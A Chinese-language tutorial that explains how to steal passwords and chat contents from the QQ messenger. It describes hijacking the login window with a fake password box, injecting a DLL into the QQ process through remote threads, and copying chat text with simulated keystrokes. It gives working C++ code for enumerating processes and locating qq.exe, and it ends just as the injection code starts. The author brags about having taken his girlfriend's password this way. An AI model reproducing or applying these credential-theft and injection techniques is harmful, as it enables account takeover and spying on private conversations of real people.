要截获QQ密码,大家一定想到键盘钩子,2006版以前的QQ用这种方法的确可以截获到QQ密码,我也曾经用这种方法将我女朋友的QQ密码给弄过来了,~~,但2007版以后的QQ在密码输入框里做了大量的手脚,即使用spy++也无法截取到任何消息,键盘钩子也失效了。我们总是幸运的,QQ登录窗口的消息还是可以获取到,既然钩子不能用了,那我们何不换种思维方式走走捷径呢?修改登录窗口的回调函数地址,截取其所有消息,并创建一个虚假的密码输入框来到达截取密码的目的,就好比在复写纸上写字,字迹会留下痕迹。
腾讯为了保护聊天内容的安全性,防止QQ尾巴的干扰,对聊天的文字输入框用额外的控件做了特殊处理,同样不能截取到任何消息,也不能用WM_GETTEXT和WM_CHAR消息来取得其中的文字内容。其实这个问题好解决,只要用模拟键盘程序模拟“Ctrl+A”->“Ctrl+C”就可以得到聊天内容了。
去QQ广告就更容易了,只要找到广告显示的子窗口,将它隐藏起来,然后在相同位置放一个自己的子窗口就可以了,如果获取到IP地址或对方的地理位置等信息也可以显示在这里。
说到这里,还有一个非常重要的问题,那就是我们的程序必须执行在QQ空间,因为Windows系统进程是受系统保护的,每个进程有自己独立的内存空间,很多API函数只对同一个进程有效,我们必须解决这个问题。
进入QQ进程
要将我们自己写的代码执行在QQ进程空间中才能实现我们上面的的分析思路,我想到了两种方法:
第一种方法还是钩子,我们的代码写到一个dll动态链接库里,然后启动系统钩子,当任何一个进程启动时,我们的dll将会被加载到该进程中,我们判断是否为QQ进程,如果不是,我们的dll就立即卸载,否则我们就顺利地进入到QQ进程空间了。这种方法有个缺点,就是任何进程启动时我们的dll都会被加载,严重影响到系统性能,我们在学习钩子的时候书本上也确实讲过,系统钩子最好少用,如果程序代码执行效率不高的情况下,将影响系统性能,再好用的软件也将变成垃圾而被用户清除出去的。
第二种方法就是远程dll注入,即用创建远程线程的方法在QQ进程空间中注入一个我自己的线程,这种方法针对性很强,只对QQ进程进行操作,不操作其他进程,不影响系统性能,而且灵活性好,我们随时可以将线程注入,也可以随时撤销,而第一种方法是系统钩子内部控制的,我们无法干预。
远程注入Dll
我们的程序分为两个部分,一部分是exe执行程序,可以控制Dll的注入,另一部分就是我们要注入的Dll。
首先我们要找到系统中的QQ进程,这里要用到ToolHelp32系列函数,以下函数能枚举出系统所有的进程:
BOOL CProcessManage::EnumSystemProcess (
OUT CStringArray *pStrAry_ProcessName/*=NULL*/,
OUT CUIntArray *pUIntAry_ProcessID/*=NULL*/,
OUT CStringArray *pStrAry_ProcessPriority/*=NULL*/,
OUT CUIntArray *pUIntAry_ThreadNum/*=NULL*/,
OUT CStringArray *pStrAry_ProcessPath/*=NULL*/
)
{
HANDLE hProcess = NULL;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = ::CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 );
if ( hProcessSnap == INVALID_HANDLE_VALUE )
return FALSE;
BOOL bMore = ::Process32First(hProcessSnap,&pe32);
while ( bMore )
{
hProcess = OpenProcess(PROCESS_ALL_Access,FALSE,pe32.th32ProcessID);
if ( pStrAry_P
rocessName ) pStrAry_ProcessName->Add ( pe32.szExeFile );
if ( pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( pe32.th32ProcessID );
if ( pUIntAry_ThreadNum ) pUIntAry_ThreadNum->Add ( pe32.cntThreads );
if ( pStrAry_ProcessPriority ) pStrAry_ProcessPriority->Add ( GetProcessPriority(hProcess) );
if ( pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( GetProcessPath(pe32.th32ProcessID) );
bMore = ::Process32Next(hProcessSnap,&pe32);
}
::CloseHandle(hProcessSnap);
return TRUE;
}
从枚举出的所有进程中找到QQ进程,如下代码:
//
// 枚举出 “QQ.exe”的进程
//
int EnumQQProcess ( CStringArray *pStrAry_ProcessName/*=NULL*/,
CUIntArray *pUIntAry_ProcessID/*=NULL*/,
CStringArray *pStrAry_ProcessPath/*=NULL*/ )
{
CStringArray StrAry_ProcessName;
CUIntArray UIntAry_ProcessID;
CStringArray StrAry_ProcessPath;
if ( !CProcessManage::EnumSystemProcess (
&StrAry_ProcessName,
&UIntAry_ProcessID,
NULL,
NULL,
&StrAry_ProcessPath
) )
{
return -1;
}
ASSERT ( StrAry_ProcessName.GetSize() == UIntAry_ProcessID.GetSize() );
ASSERT ( StrAry_ProcessName.GetSize() == StrAry_ProcessPath.GetSize() );
int nCount = 0;
for ( int i=0; i
{
CString csProcessName = StrAry_ProcessName.GetAt ( i );
TRACE ( _T("%sn"), csProcessName );
csProcessName.MakeLower ();
if ( csProcessName == _T("qq.exe") )
{
nCount ++;
if ( pStrAry_ProcessName ) pStrAry_ProcessName->Add ( csProcessName );
if ( pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( UIntAry_ProcessID.GetAt(i) );
if ( pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( StrAry_ProcessPath.GetAt(i) );
}
}
return nCount;
}
接下来我们使用函数VirtualAllocEx()/WriteProcessMemory()函数在QQ进程中申请内存空间,将我们的数据参数写入到QQ进程内存空间里,然后用CreateRemoteThread()函数在QQ进程空间中启动一个远程线程,将我们的dll执行在QQ进程空间中,如下函数既是:
typedef void (WINAPI *FUNC_SetRemoteParameter) ( LPVOID pParaAddrss, HWND hWndInvoker );